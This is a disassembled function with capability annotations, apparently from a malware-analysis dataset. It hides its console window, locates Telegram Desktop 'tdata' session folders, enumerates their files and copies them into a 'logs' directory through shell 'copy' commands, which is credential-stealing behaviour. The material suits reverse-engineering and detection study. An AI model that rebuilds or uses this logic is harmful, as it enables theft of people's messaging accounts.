Function at 0x14001146a
Capabilities:
Create directory
Enumerate files on windows
Execute command

Disassembly:
jmp 0x140019a70
mov rax, rsp
push rbp
lea rbp, [rax - 0x278]
sub rsp, 0x370
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov rax, qword [0x140029010]
xor rax, rsp
mov qword [rbp + 0x260], rax
xor esi, esi
mov dword [rsp + 0x48], esi
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea edx, [rsi + 0x10]
lea rcx, [rbp]
call fcn.140011654
lea r8d, [rsi + 0x3f]
lea rdx, [0x140024c56]
lea rcx, [rbp]
call fcn.1400112c1
nop
lea rdx, [rbp]
lea rcx, [rsp + 0x48]
call qword [sym.imp.MSVCP140D.dll_public:_static_class_std::locale___cdecl_std::locale::global_class_std::locale_const____ptr64_]
lea rcx, [rsp + 0x48]
call fcn.1400118c5
lea rcx, [0x140024c58]
call qword [sym.imp.ucrtbased.dll__wgetenv]
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1400111a9
nop
lea rcx, [rsp + 0x58]
call fcn.140011438
mov ebx, dword [0x140029590]
cmp rbx, rax
jae 0x140019bdc
mov edi, ebx
lea rcx, [rsp + 0x58]
call fcn.140011438
cmp rdi, rax
jae 0x140019b70
mov rdx, rdi
lea rcx, [rsp + 0x58]
call fcn.1400112cb
movzx edx, word [rax]
lea rcx, [0x140029660]
call fcn.140011118
inc ebx
mov edi, ebx
lea rcx, [rsp + 0x58]
call fcn.140011438
cmp rdi, rax
jb 0x140019b41
lea rdx, str.Roaming
lea rcx, [0x140029660]
call fcn.140011618
test al, al
jne 0x140019bdc
lea rdx, [0x140024c88]
lea rcx, [0x140029660]
call fcn.140011983
mov edx, dword [0x140029590]
lea rcx, [rsp + 0x58]
call fcn.1400112cb
movzx edx, word [rax]
lea rcx, [0x140029598]
call fcn.140011118
mov ebx, dword [0x140029590]
inc ebx
mov dword [0x140029590], ebx
lea rcx, [rsp + 0x58]
call fcn.140011438
mov ecx, ebx
cmp rcx, rax
jb 0x140019b30
lea r8, str.LocalTelegram_Desktop_tdata_
lea rdx, [0x140029598]
lea rcx, [rsp + 0x20]
call fcn.1400115be
mov rdx, rax
lea rcx, [0x1400296b0]
call fcn.140011582
lea rcx, [rsp + 0x20]
call fcn.1400118de
lea r8, str.RoamingTelegram_Desktop_tdata_
lea rdx, [0x140029598]
lea rcx, [rsp + 0x20]
call fcn.1400115be
mov rdx, rax
lea rcx, [0x1400296d8]
call fcn.140011582
lea rcx, [rsp + 0x20]
call fcn.1400118de
lea r8, str.LocalLowTelegram_Desktop_tdata_
lea rdx, [0x140029598]
lea rcx, [rsp + 0x20]
call fcn.1400115be
mov rdx, rax
lea rcx, [0x140029700]
call fcn.140011582
lea rcx, [rsp + 0x20]
call fcn.1400118de
lea rcx, [rsp + 0x20]
call fcn.140011938
mov rdx, rax
lea rcx, [0x1400295e8]
call fcn.140011582
lea rcx, [rsp + 0x20]
call fcn.1400118de
lea rcx, [rbp - 0x80]
call fcn.140011938
nop
mov r8d, 0x2a
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.140011465
mov rdx, rax
lea rcx, [0x140029688]
call fcn.140011582
lea rcx, [rsp + 0x20]
call fcn.1400118de
nop
lea rcx, [rbp - 0x80]
call fcn.1400118de
lea rdx, [0x140024c88]
lea rcx, [0x140029688]
call fcn.140011618
test al, al
jne 0x140019f0c
lea rcx, [0x140029688]
call fcn.140011a3c
mov rcx, rax
lea rdx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
mov dword [0x140029590], esi
cmp rax, 0xffffffffffffffff
je 0x140019f0c
lea r14, [0x140029610]
lea rdx, [rbp + 0x3c]
lea rcx, [0x1400295c0]
call fcn.140011983
lea r8, [rbp + 0x3c]
lea rdx, [0x1400295e8]
lea rcx, [rbp - 0x80]
call fcn.1400115be
or esi, 1
mov rcx, rax
call fcn.140011005
test al, al
je 0x140019d69
lea rcx, [0x1400295c0]
call fcn.140011438
cmp rax, 0x10
jne 0x140019d69
mov bl, 1
jmp 0x140019d6b
xor bl, bl
and esi, 0xfffffffe
lea rcx, [rbp - 0x80]
call fcn.1400118de
test bl, bl
je 0x140019e35
lea rax, [rbp - 0x80]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x3c]
lea rcx, [rsp + 0x20]
call fcn.1400111a9
nop
lea rdx, [rbp + 0x3c]
lea rcx, [rbp - 0x80]
call fcn.1400111a9
mov rbx, rax
lea r8, [0x1400295c0]
lea rdx, [0x1400295e8]
lea rcx, [rbp - 0x58]
call fcn.1400113e3
nop
lea r8, str.maps
mov rdx, rax
lea rcx, [rbp - 0x28]
call fcn.1400116c2
nop
mov r8, rbx
lea rdx, [rsp + 0x20]
mov rcx, rax
call fcn.14001157d
nop
lea rcx, [rbp - 0x28]
call fcn.1400118de
nop
lea rcx, [rbp - 0x58]
call fcn.1400118de
nop
lea rcx, [rsp + 0x20]
call fcn.1400118de
lea r8, [rbp + 0x3c]
lea rdx, [0x1400295e8]
lea rcx, [rbp - 0x58]
call fcn.1400115be
mov ecx, dword [0x140029590]
lea rdx, [rcx + rcx*4]
lea rcx, [r14 + rdx*8]
mov rdx, rax
call fcn.140011582
lea rcx, [rbp - 0x58]
jmp 0x140019ee2
lea rcx, [0x1400295c0]
call fcn.140011438
cmp rax, 0x11
jne 0x140019ee7
lea rcx, str.logs
call qword [sym.imp.ucrtbased.dll__wmkdir]
lea r8, [0x1400295e8]
lea rdx, str.copy__
lea rcx, [rbp - 0x80]
call fcn.1400110c3
nop
lea r8, [0x1400295c0]
mov rdx, rax
lea rcx, [rbp - 0x28]
call fcn.14001192e
nop
lea r8, str.__logs_
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.1400116c2
nop
lea r8, [0x1400295c0]
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.14001192e
nop
lea rcx, [rbp - 0x58]
call fcn.1400118de
nop
lea rcx, [rbp - 0x28]
call fcn.1400118de
nop
lea rcx, [rbp - 0x80]
call fcn.1400118de
lea rcx, [rsp + 0x20]
call fcn.140011a3c
mov rcx, rax
call qword [sym.imp.ucrtbased.dll__wsystem]
lea rcx, [rsp + 0x20]
call fcn.1400118de
inc dword [0x140029590]
lea rdx, [rbp + 0x10]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140019d20
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
lea rcx, [rsp + 0x58]
call fcn.1400118de
nop
lea rcx, [rbp]
call fcn.1400118c5
xor eax, eax
mov rcx, qword [rbp + 0x260]
xor rcx, rsp
call fcn.140011910
lea r11, [rsp + 0x370]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret